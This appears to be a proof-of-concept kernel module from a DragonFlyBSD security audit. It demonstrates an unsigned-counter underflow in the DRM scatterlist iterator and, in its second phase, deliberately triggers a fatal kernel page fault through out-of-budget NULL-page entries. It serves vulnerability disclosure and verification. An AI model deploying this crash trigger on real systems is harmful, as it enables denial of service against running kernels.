⬢ DragonFlyBSD Kernel Audit
DF-5128 / sgoverrun.c
← back to finding ↓ download raw
/*
 * sgoverrun.c - PoC for the for_each_sg_page / _sg_iter_next budget bug in
 * 		 sys/dev/drm/include/linux/scatterlist.h (file under audit:
 * 		 sys/dev/drm/linux_scatterlist.c).
 *
 * Bug: _sg_iter_next() decrements iter->maxents (unsigned) once per sg entry
 * advanced and breaks when it *becomes* 0 -- leaving iter->sg pointing at the
 * NEXT (out-of-budget) entry, which for_each_sg_page's `iter->sg' loop
 * condition happily executes the body on.  On the following _sg_iter_next()
 * the 0-budget counter underflows to UINT_MAX and the entry budget is
 * permanently disarmed: iteration then runs to the physical SG_END of the
 * table (across chained chunks), no matter what `nents' the caller declared.
 *
 * Linux semantics (__sg_page_iter_next in lib/scatterlist.c, which DF even
 * carries as dead code in the same header) hard-stop at nents.
 *
 * Phase 1 (sysctl debug.sgoverrun=1): safe demonstration. Builds a table via
 *	the real __sg_alloc_table() from drm.ko, walks it with for_each_sg_page
 *	with a caller budget of 2 and prints every entry index the body sees.
 *	Buggy DF: indices 0..N-1 + maxents underflow value.
 *	Expected (Linux): indices 0..1.
 *
 * Phase 2 (sysctl debug.sgoverrun=2): impact demonstration. Same table
 *	shape, but the entries beyond the caller's budget carry page=NULL
 *	(simulating beyond-budget entries of a coalescing dma_map / a trimmed
 *	table), then calls the REAL sg_pcopy_to_buffer() from
 *	sys/dev/drm/linux_scatterlist.c with nents=2.  With the bug the
 *	consumer kmap()s the out-of-budget entry's page -> NULL->phys_addr ->
 *	fatal kernel page fault while copying.  With correct budget handling
 *	the call returns 8192 and touches nothing beyond entry 1.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <vm/vm.h>
#include <vm/pmap.h>
#include <vm/vm_page.h>

#include <linux/scatterlist.h>

/* the shim header already declares __sg_alloc_table, __sg_free_table and
 * sg_pcopy_to_buffer; the symbols resolve from the loaded drm.ko */

static struct vm_page *gov_page;
static void	    *gov_kbuf;

static int
gov_setup(struct sg_table *st, unsigned int nents)
{
	if (__sg_alloc_table(st, nents, SG_MAX_SINGLE_ALLOC, GFP_KERNEL))
		return (ENOMEM);
	return (0);
}

static void
run_phase1_chained(void)
{
	struct sg_table st;
	struct sg_page_iter iter;
	struct scatterlist *sg;
	int i, visited = 0, maxidx = -1;
	unsigned int nents = 250, budget = 2;

	if (gov_setup(&st, nents)) {
		kprintf("SGOVER P1c: alloc failed\n");
		return;
	}
	for_each_sg(st.sgl, sg, nents, i)
		sg_set_page(sg, (struct page *)gov_page, PAGE_SIZE, 0);

	kprintf("SGOVER P1c: chained table nents=%u orig_nents=%u "
		"budget=%u SG_MAX_SINGLE_ALLOC=%zu\n",
		st.nents, st.orig_nents, budget, (size_t)SG_MAX_SINGLE_ALLOC);
	for_each_sg_page(st.sgl, &iter, budget, 0) {
		if (visited < 3)
			kprintf("SGOVER P1c: body on entry %d\n",
				(int)(iter.sg - st.sgl));
		maxidx = iter.sg - st.sgl;
		visited++;
	}
	kprintf("SGOVER P1c: visited=%d maxidx=%d final maxents=%u "
		"(Linux semantics: visited=%u)\n",
		visited, maxidx, iter.maxents, budget);
	__sg_free_table(&st, SG_MAX_SINGLE_ALLOC);
}

static void
run_phase1(void)
{
	struct sg_table st;
	struct sg_page_iter iter;
	struct scatterlist *sg;
	int i, visited = 0;
	unsigned int nents = 6, budget = 2;

	if (gov_setup(&st, nents)) {
		kprintf("SGOVER P1: alloc failed\n");
		return;
	}
	for_each_sg(st.sgl, sg, nents, i)
		sg_set_page(sg, (struct page *)gov_page, PAGE_SIZE, 0);

	kprintf("SGOVER P1: flat table nents=%u orig_nents=%u budget=%u\n",
		st.nents, st.orig_nents, budget);
	for_each_sg_page(st.sgl, &iter, budget, 0) {
		kprintf("SGOVER P1: body on entry %d (maxents=%u)\n",
			(int)(iter.sg - st.sgl), iter.maxents);
		visited++;
	}
	kprintf("SGOVER P1: RESULT visited=%d budget=%u -> %s\n",
		visited, budget,
		visited > (int)budget ? "OVERRUN (bug present)" : "ok");
	kprintf("SGOVER P1: final maxents=%u (0=clean, huge=underflow)\n",
		iter.maxents);
	__sg_free_table(&st, SG_MAX_SINGLE_ALLOC);

	run_phase1_chained();
}

static void
run_phase2(void)
{
	struct sg_table st;
	struct scatterlist *sg;
	void *iobuf;
	size_t ret;
	int i;
	unsigned int nents = 6, budget = 2;

	iobuf = kmalloc(8192, M_DEVBUF, M_WAITOK | M_ZERO);
	if (gov_setup(&st, nents)) {
		kprintf("SGOVER P2: alloc failed\n");
		return;
	}
	/* entries 0..budget-1: the caller's logical list - valid pages */
	for_each_sg(st.sgl, sg, budget, i)
		sg_set_page(sg, (struct page *)gov_page, PAGE_SIZE, 0);
	/*
	 * Entries budget..nents-1 live past the caller's declared list (as
	 * left by a coalescing dma_map_sg() under Linux semantics).  Give
	 * them a length but leave page NULL: touching them is out-of-bounds
	 * iteration; kmap(NULL) makes the touch fatal & undeniable.
	 */
	for (sg = &st.sgl[budget]; sg < &st.sgl[nents]; sg++)
		sg->length = PAGE_SIZE;

	kprintf("SGOVER P2: calling real sg_pcopy_to_buffer(sgl, nents=%u, "
		"buflen=8192) on %u-entry table; entries >=%u are "
		"out-of-budget (page=NULL)\n", budget, nents, budget);
	ret = sg_pcopy_to_buffer(st.sgl, budget, iobuf, 8192, 0);
	kprintf("SGOVER P2: returned %zu - no out-of-budget entry touched\n",
		ret);
	__sg_free_table(&st, SG_MAX_SINGLE_ALLOC);
	kfree(iobuf, M_DEVBUF);
}

static int
sgoverrun_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, val = 0;

	error = sysctl_handle_int(oidp, &val, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (val == 1)
		run_phase1();
	else if (val == 2)
		run_phase2();
	return (0);
}
SYSCTL_PROC(_debug, OID_AUTO, sgoverrun,
    CTLTYPE_INT | CTLFLAG_RW, 0, 0, sgoverrun_sysctl, "I",
    "1=overrun demo, 2=OOB-entry deref via real sg_pcopy_to_buffer");

static int
sgoverrun_load(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		gov_kbuf = kmalloc(PAGE_SIZE, M_DEVBUF, M_WAITOK | M_ZERO);
		gov_page = PHYS_TO_VM_PAGE(vtophys(gov_kbuf));
		kprintf("SGOVER: loaded (kbuf=%p page=%p); use "
			"sysctl debug.sgoverrun=1|2\n", gov_kbuf, gov_page);
		return (0);
	case MOD_UNLOAD:
		kfree(gov_kbuf, M_DEVBUF);
		return (0);
	}
	return (0);
}

static moduledata_t sgoverrun_mod = { "sgoverrun", sgoverrun_load, NULL };
DECLARE_MODULE(sgoverrun, sgoverrun_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(sgoverrun, drm, 1, 1, 1);